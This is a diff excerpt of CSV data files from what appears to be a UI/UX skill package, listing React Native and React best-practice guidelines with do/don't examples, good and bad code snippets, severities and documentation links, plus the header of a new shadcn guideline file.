51,Native,Handle permissions,Request permissions properly,Check and request permissions,Assume permissions granted,PermissionsAndroid.request(),Access without permission check,High,https://reactnative.dev/docs/permissionsandroid
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Components,Use functional components,Hooks-based components are standard,Functional components with hooks,Class components,const App = () => { },class App extends Component,Medium,https://reactnative.dev/docs/intro-react
|
||||
2,Components,Keep components small,Single responsibility principle,Split into smaller components,Large monolithic components,<Header /><Content /><Footer />,500+ line component,Medium,
|
||||
3,Components,Use TypeScript,Type safety for props and state,TypeScript for new projects,JavaScript without types,const Button: FC<Props> = () => { },const Button = (props) => { },Medium,
|
||||
4,Components,Colocate component files,Keep related files together,Component folder with styles,Flat structure,components/Button/index.tsx styles.ts,components/Button.tsx styles/button.ts,Low,
|
||||
5,Styling,Use StyleSheet.create,Optimized style objects,StyleSheet for all styles,Inline style objects,StyleSheet.create({ container: {} }),style={{ margin: 10 }},High,https://reactnative.dev/docs/stylesheet
|
||||
6,Styling,Avoid inline styles,Prevent object recreation,Styles in StyleSheet,Inline style objects in render,style={styles.container},"style={{ margin: 10, padding: 5 }}",Medium,
|
||||
7,Styling,Use flexbox for layout,React Native uses flexbox,flexDirection alignItems justifyContent,Absolute positioning everywhere,flexDirection: 'row',position: 'absolute' everywhere,Medium,https://reactnative.dev/docs/flexbox
|
||||
8,Styling,Handle platform differences,Platform-specific styles,Platform.select or .ios/.android files,Same styles for both platforms,"Platform.select({ ios: {}, android: {} })",Hardcoded iOS values,Medium,https://reactnative.dev/docs/platform-specific-code
|
||||
9,Styling,Use responsive dimensions,Scale for different screens,Dimensions or useWindowDimensions,Fixed pixel values,useWindowDimensions(),width: 375,Medium,
|
||||
10,Navigation,Use React Navigation,Standard navigation library,React Navigation for routing,Manual navigation management,createStackNavigator(),Custom navigation state,Medium,https://reactnavigation.org/
|
||||
11,Navigation,Type navigation params,Type-safe navigation,Typed navigation props,Untyped navigation,"navigation.navigate<RootStackParamList>('Home', { id })","navigation.navigate('Home', { id })",Medium,
|
||||
12,Navigation,Use deep linking,Support URL-based navigation,Configure linking prop,No deep link support,linking: { prefixes: [] },No linking configuration,Medium,https://reactnavigation.org/docs/deep-linking/
|
||||
13,Navigation,Handle back button,Android back button handling,useFocusEffect with BackHandler,Ignore back button,BackHandler.addEventListener,No back handler,High,
|
||||
14,State,Use useState for local state,Simple component state,useState for UI state,Class component state,"const [count, setCount] = useState(0)",this.state = { count: 0 },Medium,
|
||||
15,State,Use useReducer for complex state,Complex state logic,useReducer for related state,Multiple useState for related values,useReducer(reducer initialState),5+ useState calls,Medium,
|
||||
16,State,Use context sparingly,Context for global state,Context for theme auth locale,Context for frequently changing data,ThemeContext for app theme,Context for list item data,Medium,
|
||||
17,State,Consider Zustand or Redux,External state management,Zustand for simple Redux for complex,useState for global state,create((set) => ({ })),Prop drilling global state,Medium,
|
||||
18,Lists,Use FlatList for long lists,Virtualized list rendering,FlatList for 50+ items,ScrollView with map,<FlatList data={items} />,<ScrollView>{items.map()}</ScrollView>,High,https://reactnative.dev/docs/flatlist
|
||||
19,Lists,Provide keyExtractor,Unique keys for list items,keyExtractor with stable ID,Index as key,keyExtractor={(item) => item.id},"keyExtractor={(_, index) => index}",High,
|
||||
20,Lists,Optimize renderItem,Memoize list item components,React.memo for list items,Inline render function,renderItem={({ item }) => <MemoizedItem item={item} />},renderItem={({ item }) => <View>...</View>},High,
|
||||
21,Lists,Use getItemLayout for fixed height,Skip measurement for performance,getItemLayout when height known,Dynamic measurement for fixed items,"getItemLayout={(_, index) => ({ length: 50, offset: 50 * index, index })}",No getItemLayout for fixed height,Medium,
|
||||
22,Lists,Implement windowSize,Control render window,Smaller windowSize for memory,Default windowSize for large lists,windowSize={5},windowSize={21} for huge lists,Medium,
|
||||
23,Performance,Use React.memo,Prevent unnecessary re-renders,memo for pure components,No memoization,export default memo(MyComponent),export default MyComponent,Medium,
|
||||
24,Performance,Use useCallback for handlers,Stable function references,useCallback for props,New function on every render,"useCallback(() => {}, [deps])",() => handlePress(),Medium,
|
||||
25,Performance,Use useMemo for expensive ops,Cache expensive calculations,useMemo for heavy computations,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensive(),Medium,
|
||||
26,Performance,Avoid anonymous functions in JSX,Prevent re-renders,Named handlers or useCallback,Inline arrow functions,onPress={handlePress},onPress={() => doSomething()},Medium,
|
||||
27,Performance,Use Hermes engine,Improved startup and memory,Enable Hermes in build,JavaScriptCore for new projects,hermes_enabled: true,hermes_enabled: false,Medium,https://reactnative.dev/docs/hermes
|
||||
28,Images,Use expo-image,Modern performant image component for React Native,"Use expo-image for caching, blurring, and performance",Use default Image for heavy lists or unmaintained libraries,<Image source={url} cachePolicy='memory-disk' /> (expo-image),<FastImage source={url} />,Medium,https://docs.expo.dev/versions/latest/sdk/image/
|
||||
29,Images,Specify image dimensions,Prevent layout shifts,width and height for remote images,No dimensions for network images,<Image style={{ width: 100 height: 100 }} />,<Image source={{ uri }} /> no size,High,
|
||||
30,Images,Use resizeMode,Control image scaling,resizeMode cover contain,Stretch images,"resizeMode=""cover""",No resizeMode,Low,
|
||||
31,Forms,Use controlled inputs,State-controlled form fields,value + onChangeText,Uncontrolled inputs,<TextInput value={text} onChangeText={setText} />,<TextInput defaultValue={text} />,Medium,
|
||||
32,Forms,Handle keyboard,Manage keyboard visibility,KeyboardAvoidingView,Content hidden by keyboard,"<KeyboardAvoidingView behavior=""padding"">",No keyboard handling,High,https://reactnative.dev/docs/keyboardavoidingview
|
||||
33,Forms,Use proper keyboard types,Appropriate keyboard for input,keyboardType for input type,Default keyboard for all,"keyboardType=""email-address""","keyboardType=""default"" for email",Low,
|
||||
34,Touch,Use Pressable,Modern touch handling,Pressable for touch interactions,TouchableOpacity for new code,<Pressable onPress={} />,<TouchableOpacity onPress={} />,Low,https://reactnative.dev/docs/pressable
|
||||
35,Touch,Provide touch feedback,Visual feedback on press,Ripple or opacity change,No feedback on press,android_ripple={{ color: 'gray' }},No press feedback,Medium,
|
||||
36,Touch,Set hitSlop for small targets,Increase touch area,hitSlop for icons and small buttons,Tiny touch targets,hitSlop={{ top: 10 bottom: 10 }},44x44 with no hitSlop,Medium,
|
||||
37,Animation,Use Reanimated,High-performance animations,react-native-reanimated,Animated API for complex,useSharedValue useAnimatedStyle,Animated.timing for gesture,Medium,https://docs.swmansion.com/react-native-reanimated/
|
||||
38,Animation,Run on UI thread,worklets for smooth animation,Run animations on UI thread,JS thread animations,runOnUI(() => {}),Animated on JS thread,High,
|
||||
39,Animation,Use gesture handler,Native gesture recognition,react-native-gesture-handler,JS-based gesture handling,<GestureDetector>,<View onTouchMove={} />,Medium,https://docs.swmansion.com/react-native-gesture-handler/
|
||||
40,Async,Handle loading states,Show loading indicators,ActivityIndicator during load,Empty screen during load,{isLoading ? <ActivityIndicator /> : <Content />},No loading state,Medium,
|
||||
41,Async,Handle errors gracefully,Error boundaries and fallbacks,Error UI for failed requests,Crash on error,{error ? <ErrorView /> : <Content />},No error handling,High,
|
||||
42,Async,Cancel async operations,Cleanup on unmount,AbortController or cleanup,Memory leaks from async,useEffect cleanup,No cleanup for subscriptions,High,
|
||||
43,Accessibility,Add accessibility labels,Describe UI elements,accessibilityLabel for all interactive,Missing labels,"accessibilityLabel=""Submit form""",<Pressable> without label,High,https://reactnative.dev/docs/accessibility
|
||||
44,Accessibility,Use accessibility roles,Semantic meaning,accessibilityRole for elements,Wrong roles,"accessibilityRole=""button""",No role for button,Medium,
|
||||
45,Accessibility,Support screen readers,Test with TalkBack/VoiceOver,Test with screen readers,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High,
|
||||
46,Testing,Use React Native Testing Library,Component testing,render and fireEvent,Enzyme or manual testing,render(<Component />),shallow(<Component />),Medium,https://callstack.github.io/react-native-testing-library/
|
||||
47,Testing,Test on real devices,Real device behavior,Test on iOS and Android devices,Simulator only,Device testing in CI,Simulator only testing,High,
|
||||
48,Testing,Use Detox for E2E,End-to-end testing,Detox for critical flows,Manual E2E testing,detox test,Manual testing only,Medium,https://wix.github.io/Detox/
|
||||
49,Native,Use native modules carefully,Bridge has overhead,Batch native calls,Frequent bridge crossing,Batch updates,Call native on every keystroke,High,
|
||||
50,Native,Use Expo when possible,Simplified development,Expo for standard features,Bare RN for simple apps,expo install package,react-native link package,Low,https://docs.expo.dev/
|
||||
51,Native,Handle permissions,Request permissions properly,Check and request permissions,Assume permissions granted,PermissionsAndroid.request(),Access without permission check,High,https://reactnative.dev/docs/permissionsandroid
|
||||
|
||||
|
@@ -1,54 +1,54 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,State,Use useState for local state,Simple component state should use useState hook,useState for form inputs toggles counters,Class components this.state,"const [count, setCount] = useState(0)",this.state = { count: 0 },Medium,https://react.dev/reference/react/useState
|
||||
2,State,Lift state up when needed,Share state between siblings by lifting to parent,Lift shared state to common ancestor,Prop drilling through many levels,Parent holds state passes down,Deep prop chains,Medium,https://react.dev/learn/sharing-state-between-components
|
||||
3,State,Use useReducer for complex state,Complex state logic benefits from reducer pattern,useReducer for state with multiple sub-values,Multiple useState for related values,useReducer with action types,5+ useState calls that update together,Medium,https://react.dev/reference/react/useReducer
|
||||
4,State,Avoid unnecessary state,Derive values from existing state when possible,Compute derived values in render,Store derivable values in state,const total = items.reduce(...),"const [total, setTotal] = useState(0)",High,https://react.dev/learn/choosing-the-state-structure
|
||||
5,State,Initialize state lazily,Use function form for expensive initial state,useState(() => computeExpensive()),useState(computeExpensive()),useState(() => JSON.parse(data)),useState(JSON.parse(data)),Medium,https://react.dev/reference/react/useState#avoiding-recreating-the-initial-state
|
||||
6,Effects,Clean up effects,Return cleanup function for subscriptions timers,Return cleanup function in useEffect,No cleanup for subscriptions,useEffect(() => { sub(); return unsub; }),useEffect(() => { subscribe(); }),High,https://react.dev/reference/react/useEffect#connecting-to-an-external-system
|
||||
7,Effects,Specify dependencies correctly,Include all values used inside effect in deps array,All referenced values in dependency array,Empty deps with external references,[value] when using value in effect,[] when using props/state in effect,High,https://react.dev/reference/react/useEffect#specifying-reactive-dependencies
|
||||
8,Effects,Avoid unnecessary effects,Don't use effects for transforming data or events,Transform data during render handle events directly,useEffect for derived state or event handling,const filtered = items.filter(...),useEffect(() => setFiltered(items.filter(...))),High,https://react.dev/learn/you-might-not-need-an-effect
|
||||
9,Effects,Use refs for non-reactive values,Store values that don't trigger re-renders in refs,useRef for interval IDs DOM elements,useState for values that don't need render,const intervalRef = useRef(null),"const [intervalId, setIntervalId] = useState()",Medium,https://react.dev/reference/react/useRef
|
||||
10,Rendering,Use keys properly,Stable unique keys for list items,Use stable IDs as keys,Array index as key for dynamic lists,key={item.id},key={index},High,https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key
|
||||
11,Rendering,Memoize expensive calculations,Use useMemo for costly computations,useMemo for expensive filtering/sorting,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensiveCalc(),Medium,https://react.dev/reference/react/useMemo
|
||||
12,Rendering,Memoize callbacks passed to children,Use useCallback for functions passed as props,useCallback for handlers passed to memoized children,New function reference every render,"useCallback(() => {}, [deps])",const handler = () => {},Medium,https://react.dev/reference/react/useCallback
|
||||
13,Rendering,Use React.memo wisely,Wrap components that render often with same props,memo for pure components with stable props,memo everything or nothing,memo(ExpensiveList),memo(SimpleButton),Low,https://react.dev/reference/react/memo
|
||||
14,Rendering,Avoid inline object/array creation in JSX,Create objects outside render or memoize,Define style objects outside component,Inline objects in props,<div style={styles.container}>,<div style={{ margin: 10 }}>,Medium,
|
||||
15,Components,Keep components small and focused,Single responsibility for each component,One concern per component,Large multi-purpose components,<UserAvatar /><UserName />,<UserCard /> with 500 lines,Medium,
|
||||
16,Components,Use composition over inheritance,Compose components using children and props,Use children prop for flexibility,Inheritance hierarchies,<Card>{content}</Card>,class SpecialCard extends Card,Medium,https://react.dev/learn/thinking-in-react
|
||||
17,Components,Colocate related code,Keep related components and hooks together,Related files in same directory,Flat structure with many files,components/User/UserCard.tsx,components/UserCard.tsx + hooks/useUser.ts,Low,
|
||||
18,Components,Use fragments to avoid extra DOM,Fragment or <> for multiple elements without wrapper,<> for grouping without DOM node,Extra div wrappers,<>{items.map(...)}</>,<div>{items.map(...)}</div>,Low,https://react.dev/reference/react/Fragment
|
||||
19,Props,Destructure props,Destructure props for cleaner component code,Destructure in function signature,props.name props.value throughout,"function User({ name, age })",function User(props),Low,
|
||||
20,Props,Provide default props values,Use default parameters or defaultProps,Default values in destructuring,Undefined checks throughout,function Button({ size = 'md' }),if (size === undefined) size = 'md',Low,
|
||||
21,Props,Avoid prop drilling,Use context or composition for deeply nested data,Context for global data composition for UI,Passing props through 5+ levels,<UserContext.Provider>,<A user={u}><B user={u}><C user={u}>,Medium,https://react.dev/learn/passing-data-deeply-with-context
|
||||
22,Props,Validate props with TypeScript,Use TypeScript interfaces for prop types,interface Props { name: string },PropTypes or no validation,interface ButtonProps { onClick: () => void },Button.propTypes = {},Medium,
|
||||
23,Events,Use synthetic events correctly,React normalizes events across browsers,e.preventDefault() e.stopPropagation(),Access native event unnecessarily,onClick={(e) => e.preventDefault()},onClick={(e) => e.nativeEvent.preventDefault()},Low,https://react.dev/reference/react-dom/components/common#react-event-object
|
||||
24,Events,Avoid binding in render,Use arrow functions in class or hooks,Arrow functions in functional components,bind in render or constructor,const handleClick = () => {},this.handleClick.bind(this),Medium,
|
||||
25,Events,Pass event handlers not call results,Pass function reference not invocation,onClick={handleClick},onClick={handleClick()} causing immediate call,onClick={handleClick},onClick={handleClick()},High,
|
||||
26,Forms,Controlled components for forms,Use state to control form inputs,value + onChange for inputs,Uncontrolled inputs with refs,<input value={val} onChange={setVal}>,<input ref={inputRef}>,Medium,https://react.dev/reference/react-dom/components/input#controlling-an-input-with-a-state-variable
|
||||
27,Forms,Handle form submission properly,Prevent default and handle in submit handler,onSubmit with preventDefault,onClick on submit button only,<form onSubmit={handleSubmit}>,<button onClick={handleSubmit}>,Medium,
|
||||
28,Forms,Debounce rapid input changes,Debounce search/filter inputs,useDeferredValue or debounce for search,Filter on every keystroke,useDeferredValue(searchTerm),useEffect filtering on every change,Medium,https://react.dev/reference/react/useDeferredValue
|
||||
29,Hooks,Follow rules of hooks,Only call hooks at top level and in React functions,Hooks at component top level,Hooks in conditions loops or callbacks,"const [x, setX] = useState()","if (cond) { const [x, setX] = useState() }",High,https://react.dev/reference/rules/rules-of-hooks
|
||||
30,Hooks,Custom hooks for reusable logic,Extract shared stateful logic to custom hooks,useCustomHook for reusable patterns,Duplicate hook logic across components,const { data } = useFetch(url),Duplicate useEffect/useState in components,Medium,https://react.dev/learn/reusing-logic-with-custom-hooks
|
||||
31,Hooks,Name custom hooks with use prefix,Custom hooks must start with use,useFetch useForm useAuth,fetchData or getData for hook,function useFetch(url),function fetchData(url),High,
|
||||
32,Context,Use context for global data,Context for theme auth locale,Context for app-wide state,Context for frequently changing data,<ThemeContext.Provider>,Context for form field values,Medium,https://react.dev/learn/passing-data-deeply-with-context
|
||||
33,Context,Split contexts by concern,Separate contexts for different domains,ThemeContext + AuthContext,One giant AppContext,<ThemeProvider><AuthProvider>,<AppProvider value={{theme user...}}>,Medium,
|
||||
34,Context,Memoize context values,Prevent unnecessary re-renders with useMemo,useMemo for context value object,New object reference every render,"value={useMemo(() => ({...}), [])}","value={{ user, theme }}",High,
|
||||
35,Performance,Use React DevTools Profiler,Profile to identify performance bottlenecks,Profile before optimizing,Optimize without measuring,React DevTools Profiler,Guessing at bottlenecks,Medium,https://react.dev/learn/react-developer-tools
|
||||
36,Performance,Lazy load components,Use React.lazy for code splitting,lazy() for routes and heavy components,Import everything upfront,const Page = lazy(() => import('./Page')),import Page from './Page',Medium,https://react.dev/reference/react/lazy
|
||||
37,Performance,Virtualize long lists,Use windowing for lists over 100 items,react-window or react-virtual,Render thousands of DOM nodes,<VirtualizedList items={items}/>,{items.map(i => <Item />)},High,
|
||||
38,Performance,Batch state updates,React 18 auto-batches but be aware,Let React batch related updates,Manual batching with flushSync,setA(1); setB(2); // batched,flushSync(() => setA(1)),Low,https://react.dev/learn/queueing-a-series-of-state-updates
|
||||
39,ErrorHandling,Use error boundaries,Catch JavaScript errors in component tree,ErrorBoundary wrapping sections,Let errors crash entire app,<ErrorBoundary><App/></ErrorBoundary>,No error handling,High,https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary
|
||||
40,ErrorHandling,Handle async errors,Catch errors in async operations,try/catch in async handlers,Unhandled promise rejections,try { await fetch() } catch(e) {},await fetch() // no catch,High,
|
||||
41,Testing,Test behavior not implementation,Test what user sees and does,Test renders and interactions,Test internal state or methods,expect(screen.getByText('Hello')),expect(component.state.name),Medium,https://testing-library.com/docs/react-testing-library/intro/
|
||||
42,Testing,Use testing-library queries,Use accessible queries,getByRole getByLabelText,getByTestId for everything,getByRole('button'),getByTestId('submit-btn'),Medium,https://testing-library.com/docs/queries/about#priority
|
||||
43,Accessibility,Use semantic HTML,Proper HTML elements for their purpose,button for clicks nav for navigation,div with onClick for buttons,<button onClick={...}>,<div onClick={...}>,High,https://react.dev/reference/react-dom/components#all-html-components
|
||||
44,Accessibility,Manage focus properly,Handle focus for modals dialogs,Focus trap in modals return focus on close,No focus management,useEffect to focus input,Modal without focus trap,High,
|
||||
45,Accessibility,Announce dynamic content,Use ARIA live regions for updates,aria-live for dynamic updates,Silent updates to screen readers,"<div aria-live=""polite"">{msg}</div>",<div>{msg}</div>,Medium,
|
||||
46,Accessibility,Label form controls,Associate labels with inputs,htmlFor matching input id,Placeholder as only label,"<label htmlFor=""email"">Email</label>","<input placeholder=""Email""/>",High,
|
||||
47,TypeScript,Type component props,Define interfaces for all props,interface Props with all prop types,any or missing types,interface Props { name: string },function Component(props: any),High,
|
||||
48,TypeScript,Type state properly,Provide types for useState,useState<Type>() for complex state,Inferred any types,useState<User | null>(null),useState(null),Medium,
|
||||
49,TypeScript,Type event handlers,Use React event types,React.ChangeEvent<HTMLInputElement>,Generic Event type,onChange: React.ChangeEvent<HTMLInputElement>,onChange: Event,Medium,
|
||||
50,TypeScript,Use generics for reusable components,Generic components for flexible typing,Generic props for list components,Union types for flexibility,<List<T> items={T[]}>,<List items={any[]}>,Medium,
|
||||
51,Patterns,Container/Presentational split,Separate data logic from UI,Container fetches presentational renders,Mixed data and UI in one,<UserContainer><UserView/></UserContainer>,<User /> with fetch and render,Low,
|
||||
52,Patterns,Render props for flexibility,Share code via render prop pattern,Render prop for customizable rendering,Duplicate logic across components,<DataFetcher render={data => ...}/>,Copy paste fetch logic,Low,https://react.dev/reference/react/cloneElement#passing-data-with-a-render-prop
|
||||
53,Patterns,Compound components,Related components sharing state,Tab + TabPanel sharing context,Prop drilling between related,<Tabs><Tab/><TabPanel/></Tabs>,<Tabs tabs={[]} panels={[...]}/>,Low,
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,State,Use useState for local state,Simple component state should use useState hook,useState for form inputs toggles counters,Class components this.state,"const [count, setCount] = useState(0)",this.state = { count: 0 },Medium,https://react.dev/reference/react/useState
|
||||
2,State,Lift state up when needed,Share state between siblings by lifting to parent,Lift shared state to common ancestor,Prop drilling through many levels,Parent holds state passes down,Deep prop chains,Medium,https://react.dev/learn/sharing-state-between-components
|
||||
3,State,Use useReducer for complex state,Complex state logic benefits from reducer pattern,useReducer for state with multiple sub-values,Multiple useState for related values,useReducer with action types,5+ useState calls that update together,Medium,https://react.dev/reference/react/useReducer
|
||||
4,State,Avoid unnecessary state,Derive values from existing state when possible,Compute derived values in render,Store derivable values in state,const total = items.reduce(...),"const [total, setTotal] = useState(0)",High,https://react.dev/learn/choosing-the-state-structure
|
||||
5,State,Initialize state lazily,Use function form for expensive initial state,useState(() => computeExpensive()),useState(computeExpensive()),useState(() => JSON.parse(data)),useState(JSON.parse(data)),Medium,https://react.dev/reference/react/useState#avoiding-recreating-the-initial-state
|
||||
6,Effects,Clean up effects,Return cleanup function for subscriptions timers,Return cleanup function in useEffect,No cleanup for subscriptions,useEffect(() => { sub(); return unsub; }),useEffect(() => { subscribe(); }),High,https://react.dev/reference/react/useEffect#connecting-to-an-external-system
|
||||
7,Effects,Specify dependencies correctly,Include all values used inside effect in deps array,All referenced values in dependency array,Empty deps with external references,[value] when using value in effect,[] when using props/state in effect,High,https://react.dev/reference/react/useEffect#specifying-reactive-dependencies
|
||||
8,Effects,Avoid unnecessary effects,Don't use effects for transforming data or events,Transform data during render handle events directly,useEffect for derived state or event handling,const filtered = items.filter(...),useEffect(() => setFiltered(items.filter(...))),High,https://react.dev/learn/you-might-not-need-an-effect
|
||||
9,Effects,Use refs for non-reactive values,Store values that don't trigger re-renders in refs,useRef for interval IDs DOM elements,useState for values that don't need render,const intervalRef = useRef(null),"const [intervalId, setIntervalId] = useState()",Medium,https://react.dev/reference/react/useRef
|
||||
10,Rendering,Use keys properly,Stable unique keys for list items,Use stable IDs as keys,Array index as key for dynamic lists,key={item.id},key={index},High,https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key
|
||||
11,Rendering,Memoize expensive calculations,Use useMemo for costly computations,useMemo for expensive filtering/sorting,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensiveCalc(),Medium,https://react.dev/reference/react/useMemo
|
||||
12,Rendering,Memoize callbacks passed to children,Use useCallback for functions passed as props,useCallback for handlers passed to memoized children,New function reference every render,"useCallback(() => {}, [deps])",const handler = () => {},Medium,https://react.dev/reference/react/useCallback
|
||||
13,Rendering,Use React.memo wisely,Wrap components that render often with same props,memo for pure components with stable props,memo everything or nothing,memo(ExpensiveList),memo(SimpleButton),Low,https://react.dev/reference/react/memo
|
||||
14,Rendering,Avoid inline object/array creation in JSX,Create objects outside render or memoize,Define style objects outside component,Inline objects in props,<div style={styles.container}>,<div style={{ margin: 10 }}>,Medium,
|
||||
15,Components,Keep components small and focused,Single responsibility for each component,One concern per component,Large multi-purpose components,<UserAvatar /><UserName />,<UserCard /> with 500 lines,Medium,
|
||||
16,Components,Use composition over inheritance,Compose components using children and props,Use children prop for flexibility,Inheritance hierarchies,<Card>{content}</Card>,class SpecialCard extends Card,Medium,https://react.dev/learn/thinking-in-react
|
||||
17,Components,Colocate related code,Keep related components and hooks together,Related files in same directory,Flat structure with many files,components/User/UserCard.tsx,components/UserCard.tsx + hooks/useUser.ts,Low,
|
||||
18,Components,Use fragments to avoid extra DOM,Fragment or <> for multiple elements without wrapper,<> for grouping without DOM node,Extra div wrappers,<>{items.map(...)}</>,<div>{items.map(...)}</div>,Low,https://react.dev/reference/react/Fragment
|
||||
19,Props,Destructure props,Destructure props for cleaner component code,Destructure in function signature,props.name props.value throughout,"function User({ name, age })",function User(props),Low,
|
||||
20,Props,Provide default props values,Use default parameters or defaultProps,Default values in destructuring,Undefined checks throughout,function Button({ size = 'md' }),if (size === undefined) size = 'md',Low,
|
||||
21,Props,Avoid prop drilling,Use context or composition for deeply nested data,Context for global data composition for UI,Passing props through 5+ levels,<UserContext.Provider>,<A user={u}><B user={u}><C user={u}>,Medium,https://react.dev/learn/passing-data-deeply-with-context
|
||||
22,Props,Validate props with TypeScript,Use TypeScript interfaces for prop types,interface Props { name: string },PropTypes or no validation,interface ButtonProps { onClick: () => void },Button.propTypes = {},Medium,
|
||||
23,Events,Use synthetic events correctly,React normalizes events across browsers,e.preventDefault() e.stopPropagation(),Access native event unnecessarily,onClick={(e) => e.preventDefault()},onClick={(e) => e.nativeEvent.preventDefault()},Low,https://react.dev/reference/react-dom/components/common#react-event-object
|
||||
24,Events,Avoid binding in render,Use arrow functions in class or hooks,Arrow functions in functional components,bind in render or constructor,const handleClick = () => {},this.handleClick.bind(this),Medium,
|
||||
25,Events,Pass event handlers not call results,Pass function reference not invocation,onClick={handleClick},onClick={handleClick()} causing immediate call,onClick={handleClick},onClick={handleClick()},High,
|
||||
26,Forms,Controlled components for forms,Use state to control form inputs,value + onChange for inputs,Uncontrolled inputs with refs,<input value={val} onChange={setVal}>,<input ref={inputRef}>,Medium,https://react.dev/reference/react-dom/components/input#controlling-an-input-with-a-state-variable
|
||||
27,Forms,Handle form submission properly,Prevent default and handle in submit handler,onSubmit with preventDefault,onClick on submit button only,<form onSubmit={handleSubmit}>,<button onClick={handleSubmit}>,Medium,
|
||||
28,Forms,Debounce rapid input changes,Debounce search/filter inputs,useDeferredValue or debounce for search,Filter on every keystroke,useDeferredValue(searchTerm),useEffect filtering on every change,Medium,https://react.dev/reference/react/useDeferredValue
|
||||
29,Hooks,Follow rules of hooks,Only call hooks at top level and in React functions,Hooks at component top level,Hooks in conditions loops or callbacks,"const [x, setX] = useState()","if (cond) { const [x, setX] = useState() }",High,https://react.dev/reference/rules/rules-of-hooks
|
||||
30,Hooks,Custom hooks for reusable logic,Extract shared stateful logic to custom hooks,useCustomHook for reusable patterns,Duplicate hook logic across components,const { data } = useFetch(url),Duplicate useEffect/useState in components,Medium,https://react.dev/learn/reusing-logic-with-custom-hooks
|
||||
31,Hooks,Name custom hooks with use prefix,Custom hooks must start with use,useFetch useForm useAuth,fetchData or getData for hook,function useFetch(url),function fetchData(url),High,
|
||||
32,Context,Use context for global data,Context for theme auth locale,Context for app-wide state,Context for frequently changing data,<ThemeContext.Provider>,Context for form field values,Medium,https://react.dev/learn/passing-data-deeply-with-context
|
||||
33,Context,Split contexts by concern,Separate contexts for different domains,ThemeContext + AuthContext,One giant AppContext,<ThemeProvider><AuthProvider>,<AppProvider value={{theme user...}}>,Medium,
|
||||
34,Context,Memoize context values,Prevent unnecessary re-renders with useMemo,useMemo for context value object,New object reference every render,"value={useMemo(() => ({...}), [])}","value={{ user, theme }}",High,
|
||||
35,Performance,Use React DevTools Profiler,Profile to identify performance bottlenecks,Profile before optimizing,Optimize without measuring,React DevTools Profiler,Guessing at bottlenecks,Medium,https://react.dev/learn/react-developer-tools
|
||||
36,Performance,Lazy load components,Use React.lazy for code splitting,lazy() for routes and heavy components,Import everything upfront,const Page = lazy(() => import('./Page')),import Page from './Page',Medium,https://react.dev/reference/react/lazy
|
||||
37,Performance,Virtualize long lists,Use windowing for lists over 100 items,react-window or react-virtual,Render thousands of DOM nodes,<VirtualizedList items={items}/>,{items.map(i => <Item />)},High,
|
||||
38,Performance,Batch state updates,React 18 auto-batches but be aware,Let React batch related updates,Manual batching with flushSync,setA(1); setB(2); // batched,flushSync(() => setA(1)),Low,https://react.dev/learn/queueing-a-series-of-state-updates
|
||||
39,ErrorHandling,Use error boundaries,Catch JavaScript errors in component tree,ErrorBoundary wrapping sections,Let errors crash entire app,<ErrorBoundary><App/></ErrorBoundary>,No error handling,High,https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary
|
||||
40,ErrorHandling,Handle async errors,Catch errors in async operations,try/catch in async handlers,Unhandled promise rejections,try { await fetch() } catch(e) {},await fetch() // no catch,High,
|
||||
41,Testing,Test behavior not implementation,Test what user sees and does,Test renders and interactions,Test internal state or methods,expect(screen.getByText('Hello')),expect(component.state.name),Medium,https://testing-library.com/docs/react-testing-library/intro/
|
||||
42,Testing,Use testing-library queries,Use accessible queries,getByRole getByLabelText,getByTestId for everything,getByRole('button'),getByTestId('submit-btn'),Medium,https://testing-library.com/docs/queries/about#priority
|
||||
43,Accessibility,Use semantic HTML,Proper HTML elements for their purpose,button for clicks nav for navigation,div with onClick for buttons,<button onClick={...}>,<div onClick={...}>,High,https://react.dev/reference/react-dom/components#all-html-components
|
||||
44,Accessibility,Manage focus properly,Handle focus for modals dialogs,Focus trap in modals return focus on close,No focus management,useEffect to focus input,Modal without focus trap,High,
|
||||
45,Accessibility,Announce dynamic content,Use ARIA live regions for updates,aria-live for dynamic updates,Silent updates to screen readers,"<div aria-live=""polite"">{msg}</div>",<div>{msg}</div>,Medium,
|
||||
46,Accessibility,Label form controls,Associate labels with inputs,htmlFor matching input id,Placeholder as only label,"<label htmlFor=""email"">Email</label>","<input placeholder=""Email""/>",High,
|
||||
47,TypeScript,Type component props,Define interfaces for all props,interface Props with all prop types,any or missing types,interface Props { name: string },function Component(props: any),High,
|
||||
48,TypeScript,Type state properly,Provide types for useState,useState<Type>() for complex state,Inferred any types,useState<User | null>(null),useState(null),Medium,
|
||||
49,TypeScript,Type event handlers,Use React event types,React.ChangeEvent<HTMLInputElement>,Generic Event type,onChange: React.ChangeEvent<HTMLInputElement>,onChange: Event,Medium,
|
||||
50,TypeScript,Use generics for reusable components,Generic components for flexible typing,Generic props for list components,Union types for flexibility,<List<T> items={T[]}>,<List items={any[]}>,Medium,
|
||||
51,Patterns,Container/Presentational split,Separate data logic from UI,Container fetches presentational renders,Mixed data and UI in one,<UserContainer><UserView/></UserContainer>,<User /> with fetch and render,Low,
|
||||
52,Patterns,Render props for flexibility,Share code via render prop pattern,Render prop for customizable rendering,Duplicate logic across components,<DataFetcher render={data => ...}/>,Copy paste fetch logic,Low,https://react.dev/reference/react/cloneElement#passing-data-with-a-render-prop
|
||||
53,Patterns,Compound components,Related components sharing state,Tab + TabPanel sharing context,Prop drilling between related,<Tabs><Tab/><TabPanel/></Tabs>,<Tabs tabs={[]} panels={[...]}/>,Low,
|
||||
|
||||
|
61
skills/ui-ux-pro-max/data/stacks/shadcn.csv
Normal file
61
skills/ui-ux-pro-max/data/stacks/shadcn.csv
Normal file
@@ -0,0 +1,61 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
